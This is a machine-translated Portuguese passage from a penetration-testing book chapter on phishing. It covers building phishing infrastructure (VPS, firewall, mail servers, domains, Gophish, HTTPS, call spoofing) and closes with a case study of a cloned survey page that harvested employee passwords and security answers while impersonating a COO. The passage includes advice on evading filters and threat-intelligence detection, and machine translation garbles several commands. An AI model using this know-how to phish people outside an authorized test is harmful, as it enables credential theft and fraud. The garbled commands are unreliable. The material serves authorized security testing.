Em seguida, carregue a chave na sessão PuTTY. Para fazer isso, adicione seu
nome de usuário ou o endereço IP do seu droplet nos campos Host Name (ou IP
Address) (Figura 7-3).

Phishing 87
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-3: Configuração do PuTTY

Em seguida, selecione ConnectionÿSSHÿAuth no painel esquerdo (Figura 7-4).


Insira o caminho do arquivo PPK no arquivo de chave privada para autenticação
campo. Por fim, clique em sessão na parte superior do painel esquerdo, dê um nome à instância
e salve-a. Para se conectar ao host, clique em Abrir.

Figura 7-4: Configurando o PuTTY para usar o PPK

88 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Agora que você configurou o PuTTY para usar chaves SSH, insira sua senha, se tiver
definido uma, para fazer login no VPS. Atualize todos os pacotes e execute quaisquer atualizações
de segurança pendentes para se proteger contra ataques na Internet pública.

Configurando o acesso remoto do macOS ou Linux ao VPS

Se estiver acessando o VPS a partir de um sistema operacional macOS ou Linux, você terá que
copiar primeiro a chave privada RSA, via SCP ou copiar e colar.
Você pode fazer isso no terminal. Emita o seguinte comando para copiar a chave (censurei o
endereço IP neste exemplo):

root@******:~/.ssh# scp root@***.***.***.***:/root/.ssh/id_rsa ./id_rsa

Se você estiver usando uma ferramenta de acesso remoto como o Termius, uma solução
paga que permite salvar sessões SSH, você não precisará copiar o arquivo, mas precisará
copiar e colar o conteúdo do arquivo em seu chaveiro. Para fazer isso, execute o seguinte comando:

root@******:~#cat ./.ssh/id_rsa

Se estiver usando um terminal para conectar via SSH, execute o seguinte comando para obter
acesso:

root@******:~# chmod 600 id_rsa


root@******:~# ssh -i id_rsa root@***.***.***.***

Se tudo funcionar corretamente, você verá um prompt no VPS mostrando o último login e
todos os pacotes a serem atualizados. Se a chave não estiver configurada corretamente, você verá
um erro indicando o que deu errado.

Desativando a autenticação baseada em

senha Agora que você está conectado, tome medidas para garantir que seu VPS permaneça
seguro. Primeiro, remova a capacidade de fazer login no próprio sistema usando uma senha.
(Isso não afetará nenhum aplicativo da web que você instalar posteriormente.) Qualquer pessoa que
fizer login neste VPS precisará da chave privada RSA, que é extremamente difícil (se não
impossível) de força bruta, ao contrário das senhas.
Certifique-se de que o arquivoauthorized_keys contenha a chave pública criada anteriormente
executando o seguinte comando:

root@******:~# cat id_rsa.pub >> ./.ssh/authorized_keys

Agora, abra o arquivo sshd_config em um editor de texto e altere


#PasswordAuthentication sim para PasswordAuthentication não.
Para fazer isso, execute o seguinte comando:

root@******:vi /etc/ssh/sshd_config

Phishing 89
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Salve o arquivo; em seguida, reinicie o SSH. Você precisará definir a chave em seu
Comando ssh para conectar-se ao VPS:

root@******:chmod 600 arquivo_chave


root@******:ssh -I key_file usuário@VPS Endereço IP

Em seguida, insira sua senha, caso você tenha criado uma.

Instalando um Firewall

Em seguida, você precisa de um firewall para limitar as portas do VPS que um aplicativo pode
acessar e os hosts que podem acessar o VPS. Isso impedirá que bots e invasores de verificação de
vulnerabilidades se conectem ao VPS, evitando danos colaterais. Instale o Firewall Descomplicado
(ufw) se ainda não estiver instalado:

root@******:apt-get install ufw

Agora certifique-se de poder acessar o firewall emitindo ufw enable. As etapas a seguir criam
novas regras para controlar o fluxo de dados que entra e sai do seu VPS:

root@******:ufw permite do seu endereço IP para qualquer


root@******:ufw permitir de qualquer para o seu endereço IP
root@******:ufw ativar

Você pode executar o firewall em uma porta específica, em vez de em todas as portas,
adicionando o número da porta ao endereço IP de origem ou destino.
Para configurar o firewall, faça login no DigitalOcean e navegue até o menu Internet no painel
esquerdo. Em seguida, selecione Firewalls. Se você já possui um firewall conectado ao
DigitalOcean, selecione-o na lista, conforme mostrado na Figura 7-5.

Figura 7-5: Configurando um firewall DigitalOcean

90 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se você ainda não possui um firewall, clique no botão verde Criar e escolha
Firewall no menu suspenso. Isso deverá levá-lo a uma página, mostrada na Figura 7-6,
que solicita a criação de regras de entrada. Uma regra de entrada determina como o VPS
irá interagir com as conexões que chegam a ele. Uma regra de saída determina como o
VPS se comportará ao tentar se conectar a outros hosts, às vezes também chamada de
filtragem de saída.

Figura 7-6: Criando um firewall DigitalOcean

Como você pode usar este host para phishing, provavelmente deseja que o
servidor web seja acessível publicamente. Dependendo do seu contrato com o cliente,
você pode restringir isso aos hosts em seus intervalos de IP. Também é uma boa ideia
limitar os intervalos de IP se você estiver usando o servidor para hospedar scripts
maliciosos para uso em seu phishing. Isso evitaria que rastreadores da web e empresas
de inteligência de ameaças vasculhassem seu site e o encontrassem – uma maneira
rápida de acabar em listas negras e em feeds de inteligência de ameaças ingeridos por
sistemas de detecção de intrusões, programas SIEM e outras tecnologias defensivas.
Para fornecer acesso ao servidor apenas a um intervalo específico de endereços
IP, crie uma regra de entrada para HTTP na porta TCP 80 e HTTPS na porta TCP 443,
aceitando conexões de entrada de Todos os IPv4 e Todos os IPv6 , a menos que as
condições anteriores se apliquem. Certifique-se de criar uma regra de entrada que
permita conectar-se ao host usando SSH a partir de qualquer endereço IP que você
usar.
A imagem do sistema do seu provedor VPS pode não estar totalmente atualizada.
Para atualizar um sistema Linux, execute os seguintes comandos:

apt-get atualização -y; apt-get atualização -y; apt-get dist-upgrade

Phishing 91
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

O comando apt-get update fornece uma lista dos pacotes atualizados, o apt-get upgrade
executa as atualizações e o apt-get dist-upgrade atualiza o kernel, bem como as dependências
de software. A opção -y responde sim à maioria dos prompts que você pode receber.

Escolhendo uma plataforma de e-

mail Agora que você tem o VPS, você precisa escolher qual serviço usará para realmente
enviar seu e-mail. Embora você possa usar uma conta de e-mail gratuita do Yahoo! ou Gmail,
isso pode levantar suspeitas se você estiver se passando por uma figura de autoridade. Contas
de e-mail gratuitas podem funcionar para certos ataques, como aqueles direcionados ao RH, nos
quais você finge ser um candidato a contratação. Na maioria dos casos, porém, é melhor usar um
domínio que não seja gratuito e, portanto, você precisará configurar um servidor de e-mail.

Os serviços disponíveis utilizam diversos protocolos para envio de correio, cada um com seu
forças e fraquezas. Em termos de escolha de protocolos, a postagem do blog “Managed File
Transfer and Network Solutions” de John Carl Villanueva (http:// jscape.com/ blog/ smtp-vs-imap-
vs-pop3-difference/) é um recurso abrangente. Os protocolos de e-mail incluem o seguinte:

Protocolo Simples de Transferência de Correio (SMTP)

Definido na RFC 5321. Usa a porta 25 por padrão. Também pode usar a porta 587 e a porta
465.

Protocolo de acesso a mensagens da Internet (IMAP)

Definido na RFC 3501. Usa a porta 143 (ou 993 para conexões SSL/TLS).

Protocolo Postal v3 (POP3)

Definido na RFC 1939. Usa a porta 110 (ou 995 para conexões SSL/TLS).

Se você planeja falsificar seu e-mail, deverá usar SMTP. POP3 e IMAP4 não suportam
spoofing, mas funcionam com squatting. Se você tiver autonomia para decidir qual servidor de e-mail
usar, poderá usar uma das seguintes opções:

Pombal

Um servidor de e-mail IMAP e POP3 de código aberto para sistemas Linux/Unix. É leve,
o que significa que usa pouca memória e não requer muito processamento. Como acontece
com qualquer software, você deve manter uma configuração segura e manter o sistema
atualizado para permanecer seguro. Se você estiver praticando volumes baixos e esporádicos
de phishing, essa manutenção pode não valer o esforço e o tempo, mesmo que o software
seja gratuito.
Se você estiver fazendo phishing a partir de um grande conjunto de domínios ou
enviando e-mails várias vezes por dia, esta pode ser uma solução mais econômica. Como o
Dovecot não oferece suporte a SMTP, ele não oferece suporte a falsificação. Você pode usar
o Dovecot para ataques de cócoras.

92 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Enviar correio

Um dos clientes originais de correio da Internet, lançado pela primeira vez em 1983. Ele implementa
SMTP e atualmente é mantido pelo Sendmail Consortium e pela Proofpoint, uma empresa de
conscientização e prevenção de phishing. As mesmas considerações relevantes para o Dovecot
existem no Sendmail.

Embora o Sendmail seja um software de código aberto, seus mantenedores tentam evitar o
phishing, o que pode deixar alguns engenheiros sociais desconfortáveis. Como o Sendmail usa
SMTP, você pode usá-lo para falsificação ou agachamento.

E-mail na nuvem

Microsoft 365 é o serviço de e-mail baseado em nuvem da Microsoft e Google Workspace é o


e-mail empresarial baseado em nuvem do Google. Ambos os serviços cobram por usuário,
por mês ou por ano e podem ser acessados de qualquer lugar com conexão à Internet. Ambos
os serviços suportam SMTP, POP3 e IMAP4, embora o padrão seja IMAP. Você pode vincular o
Microsoft 365 ou o Google Workspace a qualquer domínio de sua propriedade, para que eles
funcionem para ocupação, mas não para falsificação.

Google Mail (Gmail)

Na minha experiência, o Google não permite que você envie malware (mesmo documentos
do Office habilitados para macro) por e-mail ou Google Drive. No entanto, o Google não
irá desligar você se você fizer phishing. No momento em que este artigo foi escrito, você pode
adquirir acesso ao Google Workspace para seus domínios por meio de Namecheap, Bluehost,
SiteGround ou GoDaddy por cerca de US$ 6 por usuário por mês. A maioria dos domínios de
phishing são usados numa base de queima e abandono, o que significa que são usados para uma
instância de phishing por cliente. Se você for a única pessoa praticando o phishing, precisará pagar
por apenas um usuário. Se for esse o caso, você provavelmente não pagará mais do que US$ 6 por
cliente por um envolvimento de phishing.

NOTA Tecnicamente, usar esses provedores de nuvem como parte de atividades de phishing é uma violação dos
seus Termos de Serviço. Estabeleça um plano de contingência caso você seja pego e banido.

Ao selecionar uma dessas opções, mantenha as seguintes considerações


em mente. Primeiro, a falsificação é fácil de detectar e muitos sistemas de correio possuem lógica para
detectá-la. Além disso, vários aplicativos independentes dos sistemas de e-mail, como Exchange,
Proofpoint e Mimecast, podem validar e-mails e impedir a falsificação. Por outro lado, mesmo que o
seu alvo implemente ferramentas anti-phishing como Sender Policy Framework (SPF), Domain Keys
Identified Mail (DKIM) ou Domain-based Message Authentication, Reporting and Conformance (DMARC),
você ainda poderá executar erros de digitação com êxito. e ocupação de domínio. SPF, DKIM e
DMARC são soluções técnicas que visam prevenir a falsificação. Na realidade, se implementados,
eles evitam que outras partes falsifiquem o seu domínio, por isso vale a pena implementá-los para a sua
reputação, mas fazem pouco para evitar a falsificação da sua organização.

Phishing 93
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A ocupação também pode contornar tecnologias, como o Mimecast, que tentam


capture e-mails de phishing observando as estatísticas dos próprios e-mails, bem como
a idade e a reputação do domínio que envia o e-mail. Se o domínio de envio não tiver
má reputação ou usar linguagem consistente com phishing, você poderá passar por esses
filtros, a menos que os administradores tenham definido regras específicas. Mesmo que
o alvo tenha SPF ou outra solução, o envio de e-mail usando serviços em nuvem,
como o Google Mail (para domínios) e o Microsoft 365, muitas vezes ignorará seus
filtros, uma vez que os servidores de e-mail do Google e da Microsoft são quase
universalmente confiáveis.
Terceiro, as soluções automatizadas de phishing têm vários métodos para integrar
em serviços de e-mail como Dovecot, Sendmail ou provedores de nuvem. No entanto,
soluções automatizadas podem colocar códigos, marcas d’água ou assinaturas no e-mail
que filtros e outras tecnologias defensivas de e-mail podem detectar.
Antes de configurar um servidor de e-mail, você precisa criar regras de firewall
no DigitalOcean para ele e atualizar o UFW em seu droplet com informações sobre
os protocolos (SMTP, IMAP ou POP3) que você está usando para permitir as
comunicações. Use as etapas em “Configurando o servidor Web de infraestrutura e
phishing” na página 90 para criar as regras de firewall para o servidor de e-mail de sua
preferência.

Compra de domínios de envio e landing page


Em seguida, você precisa adquirir dois domínios: um para hospedar a página de
destino, que é para onde você redirecionará as vítimas que clicarem no link do seu e-
mail, e outro para hospedar o site do qual você enviará o e-mail de phishing. O domínio
da página de destino pode ser barato, como os domínios .tech ou .info de 88 centavos .
Você aplicará um nome de subdomínio longo ao link, portanto, fazer com que pareça
legítimo é menos crítico.
O domínio que você usará para enviar o e-mail precisa ser um dos domínios de
nível superior mais conhecidos, como .com, .net, .org, .io ou .us. Minha principal
recomendação é garantir que você compre um com privacidade de domínio habilitada, que .us
domínios não permitem. A privacidade de domínio é um serviço oferecido por
registradores de domínio que permite colocar dados anonimizados como informações
de contato WHOIS do seu domínio. Dessa forma, as pessoas não conseguirão vincular
você ao domínio. Caso ocorra algo que exija que você seja notificado, o registrador
atuará como intermediário entre você e o remetente. Você não quer que seus nomes
ou os de seu empregador sejam associados a um domínio de phishing, ou os
profissionais de inteligência de ameaças cavarão incansavelmente e enumerarão todos os seus domínios
Assim que tiver o domínio do qual você fará o phishing, anexe-o à plataforma de e-
mail de sua escolha em sua plataforma de hospedagem e siga as instruções para obter
acesso a ele. Se você estiver realizando um envolvimento de phishing mais avançado,
considere implementar um controle técnico de e-mail (como SPF, DKIM ou DMARC)
em seu domínio, pois você estará fazendo squatting em vez de spoofing.

Configurando o servidor Web de phishing e infraestrutura


Agora que você tem a instância VPS e o serviço de e-mail, você deve configurar o
servidor web que receberá conexões de entrada, coletará credenciais, hospedará scripts
maliciosos e executará qualquer outra coisa necessária para ser

94 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

bem-sucedido para seu ataque específico. Nesta seção, mostrarei como usar o Apache, um
pacote de software de servidor web gratuito e de código aberto. O Apache é bem documentado e
bastante simples de usar.
Para instalar o Apache, execute os seguintes comandos:

root@********:~# apt-get update -y


root@********:~# apt-get install apache2 -y

Assim que a instalação for concluída, verifique se o Apache está na lista UFW
de processos/serviços permitidos digitando o seguinte comando:

lista de aplicativos ufw

Agora, você precisa minimizar o intervalo de endereços IP que podem acessar a instância
do Apache para evitar que terceiros acessem seu servidor. Eu recomendo permitir o endereço
IP a partir do qual você se conectará ao VPS, quaisquer endereços IP de teste ou garantia de
qualidade e o intervalo de IP da sua organização alvo (de preferência, fornecido por escrito pelo
seu ponto de contato de segurança no contrato). Para restringir seu servidor a este intervalo,
execute os seguintes comandos:

ufw permite do endereço IP ou CIDR para qualquer porta web; 80 ou 443


ufw ativar

Verifique o status usando o comando ufw status:

root@********:~#ufw status
Estado: ativo
Para Ação De
-- ------ ----
Em PERMITIR ***.***.***.***
qualquer lugar ***.***.***.*** PERMITIR Em
22 PERMITIR qualquer lugar ***.***.***.***

Agora que a instalação foi concluída, desligue o Apache por enquanto com estes comandos:

root@********:~# serviço apache2 parada


root@********:~# systemctl parar apache2

Você ainda pode fazer alterações na configuração, vincular domínios e executar outras
tarefas de manutenção sem o Apache em execução. Desligar o Apache minimiza a possibilidade
de o servidor ser detectado em verificações de segurança ou spidering.

No Capítulo 8, você clonará uma landing page realista para hospedar neste servidor.

Etapas adicionais para phishing

As etapas discutidas nesta seção não são obrigatórias para um bom phishing, mas fornecem
serviços que os clientes podem solicitar ocasionalmente.

Phishing 95
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando pixels de rastreamento para medir a frequência com que seu e-mail é aberto

Se você estiver fazendo um teste não automatizado, como o descrito até agora neste capítulo,
poderá precisar de um meio para ver quantas pessoas abrem seu e-mail.
Você pode fazer isso facilmente com pixels de rastreamento, que geralmente são imagens
de 1 pixel por 1 pixel, exclusivas para cada usuário e renderizadas a partir de um site remoto
de sua propriedade. Você pode então observar os logs de acesso para instâncias de cada
ID conectando-se ao servidor.
Adicione o seguinte snippet HTML ao seu e-mail para configurar um pixel de
rastreamento:

<img src="http://www.seu site/tracker.php?eid=unique-id" alt="" width="1px" height="1px"”>

Crie o arquivo que monitorará o pixel de rastreamento, tracker.php. Deveria


pareça algo assim:

<?php
// Cria uma imagem com tamanho de 1x1 pixel
$im=imagecreate(1,1);
//Define a cor de fundo
$branco=imagecolorallocate($im,255.255.255);
// Aloca a cor de fundo
imagesetpixel($im,1,1,$branco);
//Define o tipo de imagem
header("tipo de conteúdo:imagem/jpg");
//Cria um arquivo JPEG a partir da imagem
imagemjpeg($im);
//Libera memória associada à imagem
destruição de imagem($im);
?>

Os pixels de rastreamento são frequentemente usados em marketing e vendas. No


phishing, eles podem criar dores de cabeça e desperdiçar tempo para quem perpetra o ataque.
Soluções automatizadas os integram. O número de e-mails abertos é uma métrica
exagerada no phishing. Fazer com que as vítimas relatem que receberam um e-mail de
phishing ou agiram de acordo com ele é muito mais importante do que quantas pessoas
abrem um e-mail.

Automatizando Phishing com Gophish

Uma solução automatizada de phishing é um serviço que permite desenvolver um phishing


e enviá-lo por meio de um sistema automatizado, como uma interface de e-mail integrada. A
solução frequentemente monitorará informações como o número de vezes que o phishing
foi aberto e por quem, o número de vezes que a vítima clicou em um link do e-mail e o horário
em que cada evento ocorreu. Esses serviços são fáceis de usar e às vezes são a opção
mais econômica.
No entanto, por serem bem conhecidos, os phishings enviados por meio deles provavelmente
serão detectados e encerrados.
Nesta seção, mostrarei como enviar e-mails de phishing com Gophish,
um utilitário de phishing automatizado escrito na linguagem Go. Para usá-lo, você precisa
ter um servidor SMTP para enviar o e-mail e um servidor web

96 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

em que as vítimas pousarão. Embora você possa criar ambos no Gophish, isso pode
aumentar suas chances de detecção. Sugiro configurar estas três regras de firewall para
evitar detecção ou danos colaterais:

1. Permita a porta 3333/TCP (a porta para a interface de administração web do Gophish) e a


porta 22 (a porta SSH) apenas da sua rede.
2. Permita a porta 80/TCP (a porta padrão para sua página de destino, embora você possa usar
a porta 443 com um certificado SSL/TLS para mais realismo) apenas da sua rede e dos
intervalos de IP da vítima.
3. Permitir a porta 25/TCP (a porta para tráfego SMTP) na direção de saída
apenas.

Para definir essas regras no UFW, execute os seguintes comandos:

ufw permitir do seu endereço IP para qualquer porta 3333


ufw permitir do seu endereço IP, endereço IP de controle de qualidade e/ ou intervalo de IP alvo/ CIDR para qualquer porta 80
(443 se estiver
usando HTTPS) ufw permitir de qualquer porta 25 para qualquer
ufw ativar

Agora, vamos instalar o Gophish:

cd /optar/
clone do git https://github.com/gophish/gophish
cd gophis
apt-get instalar golang -y
acesse github.com/gophish/gophish
vá construir

Configure o Gophish para escutar o endereço IP público ou privado que você usará
para se conectar a ele:

root@********:/opt/gophish# vi config.json

Dentro de config.json, altere admin_server listen_url para o endereço IP do VPS a partir


do qual você está administrando o phishing. Então mude phish_
server listen_url para o endereço IP ou nome de domínio para o qual você está enviando as
vítimas:

"servidor_admin": {
"ouvir_url": "127.0.0.1:3333",
"use_tls": verdadeiro,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"servidor_phishing": {
"ouvir_url": "0.0.0.0:80",
"use_tls": falso,
"cert_path": "exemplo.crt",
"key_path": "exemplo.key"
},
"nome_bd": "sqlite3",

Phishing 97
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"endereço de contato": "",
"exploração madeireira": {
"nome do arquivo": ""
}
}

Certifique-se de alterar a senha do administrador após fazer login. As credenciais padrão do


Gophish são as seguintes:

Nome de usuário: administrador

Senha: gophish

Eu recomendo ir ao menu Configurações no painel esquerdo e alterar


sua senha imediatamente. Mesmo que você seja o único acessando o Gophish, crie um
novo usuário. Se várias pessoas fizerem login nesta conta, você deverá criar usuários distintos.
Para fazer isso, clique na guia Usuários , selecione Novo usuário e preencha o formulário na
página.
Em seguida, você precisa de um local para enviar as vítimas. Você cria isso através do Landing
Guia Páginas , em Nova página inicial (Figura 7-7).

Figura 7-7: Configurando uma nova landing page no Gophish

98 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode criar a landing page do zero ou copiar e colar o


HTML de outra página nesta.
Em seguida, você precisa saber quem você está fingindo ser ao enviar e-mails
de phishing e qual servidor de e-mail (no formato ip_address:port ) precisa enviar o
e-mail. Você pode configurar isso na guia Perfis de Envio , em Novo Perfil de
Envio (Figura 7-8).

Figura 7-8: Configurando um novo perfil de envio no Gophish

Agora você sabe quem está enviando o e-mail, como ele chega ao destino e o
que deseja que ele faça. É hora de criar o e-mail real. Uma maneira de fazer isso
é importar um e-mail existente (digamos, um e-mail que Erica, do RH, recebeu há
duas semanas) e usá-lo como modelo. Gophish usará o formato, estilo e idioma do
e-mail que você importar. Você pode configurar isso na guia Email Templates em
New Email Template (Figura 7-9).

Phishing 99
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-9: Configurando um novo modelo de email no Gophish

Você tem tudo que precisa. Vamos organizar isso em uma campanha, que
reúne todas as peças em que você trabalhou para enviar aos clientes. Você
pode configurar isso na aba Campanhas , em Nova Campanha (Figura 7-10).

Figura 7-10: Configurando uma campanha no Gophish

Depois de preencher este formulário, basta lançar a campanha


e aguarde os resultados.

100 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Adicionando suporte HTTPS para páginas iniciais de phishing

Alguns usuários procuram o cadeado verde associado a sites HTTPS como um teste decisivo
para verificar se um site não fez parte de um ataque de phishing. Os invasores perceberam e
começaram a usar HTTPS em seus sites. Através do uso do Let's Encrypt, podemos fazer
o mesmo gratuitamente e proporcionar aos nossos clientes uma experiência mais realista.

Let's Encrypt é uma autoridade de certificação (CA) gratuita, automatizada e aberta,


administrada para benefício do público. É um serviço prestado pelo Internet Security Research
Group (ISRG) e é um excelente método para implementação de HTTPS (de graça!).
Vamos instalar o Let's Encrypt para Gophish:

root@*********:~# cd /opt/
root@*********:~# wget https://dl.eff.org/certbot-auto
root@*********:~# chmod a+x certbot-auto
root@*********:~# ./certbot-auto certonly -d {seu domínio} --manual --preferred-challenges dns

Assim que a instalação for concluída, siga as instruções na tela para concluir todas as
verificações no DNS e finalizar a configuração.
O processo é semelhante se você estiver configurando manualmente seu ataque
de phishing. (Observe que a configuração não será renovada automaticamente. Você terá
que executar o script para renovar a cada três meses, supondo que você deixe assim por
tanto tempo.)

root@********:~# apt-get install git


root@********:~# git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt
root@********:~# cd /opt/letsencrypt
root@********:~# sudo -H ./letsencrypt-auto certonly --standalone -d exemplo.com -d www
.exemplo.com

Após esta série de comandos, você será solicitado a inserir algumas informações.
Depois que todas as verificações tiverem ocorrido, execute este comando para verificar a
instalação:

sudo ls /etc/letsencrypt/live

Usando encurtadores de URL em phishing

Encurtadores de URL (como o Bitly) podem tornar a página de destino menos reconhecível. Ao
decidir usá-los, considere o nível de dificuldade percebido do envolvimento de phishing e a
maturidade da organização alvo. Algumas organizações tentam filtrar URLs encurtados de
e-mails e outras treinam os usuários para evitar esses links. A utilização de encurtadores é
algo a ser discutido com seu ponto de contato de segurança. Se você optar por utilizá-los,
entenda que eles podem ser retirados dos e-mails.

Phishing 101
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando SpoofCard para falsificação de


chamadas A única arquitetura necessária para um ataque vishing é uma plataforma de
falsificação de chamadas e, se for legal na área do seu alvo, um meio de gravar a chamada.

AVISO Seja cauteloso e certifique-se de ter toda a autoridade adequada para gravar chamadas. Você não
quer ser objeto de estudo de caso em um livro sobre engenharia social. Em caso de dúvida,
procure aconselhamento jurídico profissional.

SpoofCard é um aplicativo móvel que permite falsificar números, ligar


gravá-los e até mesmo injetar ruídos de fundo na chamada. O aplicativo em si é gratuito,
mas é necessário adquirir créditos para usá-lo.

Considerações sobre prazo e entrega


Agora que você configurou seu ataque, você precisa realmente entregá-lo. Antes de
fazer isso, você deve levar em consideração dois fatores relacionados ao tempo.
A primeira é quanto tempo você tem entre a preparação da arquitetura e a execução
do trabalho em si. A quantidade de tempo que você dedica ao projeto lhe dirá a
probabilidade de você ser pego usando controles técnicos, como filtros de e-mail ou
feeds de inteligência sobre ameaças. Um projeto apressado provavelmente será fácil
de detectar, mas se o cliente quiser algo mais avançado, você precisa de tempo para
fazer a pesquisa apropriada sobre a linguagem e a cultura da empresa, bem como as
tecnologias que eles usam, para que você possa parecer um insider com acesso autorizado
no momento do envio da campanha.
O resultado final? Não se apresse se não for necessário. Às vezes, seus clientes
precisarão que você aja rapidamente, mas isso deve ser a exceção, não o padrão.

Em segundo lugar, escolha cuidadosamente o dia e a hora para executar o trabalho.


Escolher o momento adequado exige pesquisa. Por exemplo, se você estiver vishing,
poderá bloquear seu número e silenciar sua linha e, em seguida, ligar no mesmo horário,
no mesmo dia da semana, todas as semanas, durante algumas semanas antes do
compromisso, para ver quem atenderá. Preste atenção também se você está realizando
seu trabalho durante o horário de trabalho. Se você está se passando por funcionário,
independentemente de estar fingindo ou ocupando espaço, qual é o horário e os padrões
de trabalho dessa pessoa? Se, durante um ataque de phishing, você se passar por uma
pessoa que trabalha em turnos de 10 horas, das 6h às 17h, de segunda a quinta-feira,
enviando seu e-mail às 17h45 de qualquer dia — ou, pior, no Sexta-feira – provavelmente
não é uma boa ideia.

Estudo de caso: Phish persistente avançado de US$ 25


Esta é a história de como fiz phishing em uma organização de maneira criativa e por um
preço relativamente baixo. Ao fazer isso, consegui enviar um phishing de alta qualidade,
contornar as defesas técnicas da organização e chegar às caixas de entrada de
funcionários desavisados.

102 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Na chamada para definição do escopo deste compromisso, meu ponto de


contato na empresa-alvo mencionou que o CEO se aposentaria nas próximas duas
semanas e que o COO assumiria o cargo. Com base nessas informações, elaborei
um plano. Quando compartilhei minha ideia com o ponto de contato, ele me chamou de
louco desonesto e aprovou. É hora de começar a fazer isso funcionar!

Para configurar meu ataque de phishing, segui o processo descrito neste


capítulo. Primeiro, criei uma gota DigitalOcean. Como esse era um compromisso
curto com 150 alvos, eu não precisava de um droplet enorme com muito espaço ou
poder de processamento, então me inscrevi para um droplet de US$ 5. Como a
DigitalOcean fatura por hora e o custo é pago no final do mês, não gastei nada até agora.
Custo total: $ 0.
A programação deste ataque não me deu muito tempo para coletar o OSINT
usando os métodos discutidos nos Capítulos 5 e 6. Em vez disso, dediquei meu esforço
a enumerar os domínios da empresa-alvo, registrando nomes de funcionários
pertinentes e encontrando citações diretas do CEO e COO no site da empresa, em jornais
comerciais e na imprensa. lançamentos.
O próximo passo foi comprar os domínios da página de envio e de destino. O
domínio de destino tinha um domínio de nível superior .com , então comprei o nome de
domínio .us correspondente. Isso custou cerca de US$ 12, porque eu tinha um código
promocional para a empresa de registro de domínio Namecheap. Em seguida, comprei
algo no sentido de surveysofsatisfaction.life para o domínio da web. O domínio barato
me custou 88 centavos. Assinei os aplicativos do Google para o domínio de e-mail por
US$ 5 por mês. Custo total: $ 17,88.
Configurei o domínio da web para resolver o endereço IP do meu droplet.
Então instalei um certificado Let's Encrypt TLS/HTTPS no domínio gratuitamente. Usei o
HTTrack para obter um clone perfeito do SurveyMonkey (como você fará no Capítulo 8) e,
em seguida, adicionei um logotipo de alta resolução do site do alvo à página.

Configurei a página de destino para resolver para https:// <nome da empresa de


destino>. surveysofsatisfaction.life, fazendo parecer que a empresa-alvo tinha seu
próprio subdomínio no site da pesquisa. Mais uma vez, usei o SurveyMonkey e o
logotipo da empresa alvo. Também adicionei solicitações para que os usuários
enviassem seus endereços de e-mail e senhas e, em seguida, passei essas
credenciais para o log do Apache em uma solicitação HTTP GET.
Em uma segunda página, configurei perguntas comuns para redefinição de senha:
nome de solteira da mãe, primeira escola, local da lua de mel e nome da escola
primária. Passei essas informações para o log da mesma forma.
Por fim, criei uma terceira página que dizia: “Desculpe, esta pesquisa está
encerrada” e iniciei um loop infinito. O loop foi inicialmente um erro de codificação,
mas optei por deixá-lo como uma dica para os funcionários-alvo de que esta não era
uma pesquisa legítima.
Em seguida, escrevi o e-mail usando citações diretas do CEO e do COO.
Também descobri um termo específico, Proprietários-Associados, que a empresa usava
para se referir aos seus funcionários, então usei-o também. Optei por enviar o phish se
passando por COO. Consegui enviar a ele um e-mail de uma conta aleatória e obtive sua
assinatura de e-mail em sua resposta de ausência temporária.

Phishing 103
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

O e-mail dizia algo nesse sentido:


Prezados Proprietários-Associados:

Como você sabe, substituirei Steve como CEO na próxima semana, após 37 anos de
serviço dedicado, altruísta e dedicado. São sapatos enormes para ocupar, mas farei o
meu melhor. <Insira aqui a cotação direta do COO>.

Ao longo dos anos, tivemos altos e baixos e procuramos fazer melhor. Estou
pensando em <pontos retirados de um comunicado à imprensa>. Como diz Steve,
<citação direta das entrevistas à mídia do CEO cessante sobre sua aposentadoria>.

Como alguns de vocês sabem, estou comprometido com a melhoria constante dos
processos para os clientes, parceiros, fornecedores e, o mais importante,
Proprietários-Associados. É por isso que colaborei com o RH na criação de uma
pesquisa da SurveyMonkey para melhorar todos os aspectos da <Nome da empresa>.
Use o link abaixo para responder a esta pesquisa até o final do expediente de sexta-
feira.

<Link Bitly para domínio da web>

<Assinatura roubada da resposta de ausência temporária>

Confirmei com meu ponto de contato que o phishing parecia aceitável e


recebi luz verde para prosseguir. Enviei o e-mail dos aplicativos do Google em
lotes de 10 a 20 por vez, a cada 5 a 10 minutos, para não disparar nenhum
alarme em potencial. Embora meus e-mails tenham sido eventualmente
bloqueados, consegui enviar o suficiente para receber inúmeras informações
de pesquisa do endereço IP do alvo.
Deixei o site no ar por uma semana e depois verifiquei as informações na
segunda-feira seguinte e vi que havia recebido mais contribuições dos funcionários.
Um funcionário inseriu informações diversas vezes com uma nova senha.
Coordenei com o ponto de contato para encerrar o noivado. Guardei a gota
por mais uma semana, caso ele quisesse mais informações. Coletei métricas,
controlando respostas de ausência temporária e e-mails não enviados
(discutiremos a coleta de métricas no Capítulo 9). Pelo contrato, não fui
autorizado a fornecer a ele as senhas inseridas, apenas os nomes dos funcionários
que inseriram suas senhas. Fiz backups das páginas da web e do log do
Apache para retenção e excluí o droplet. Um total de duas semanas se
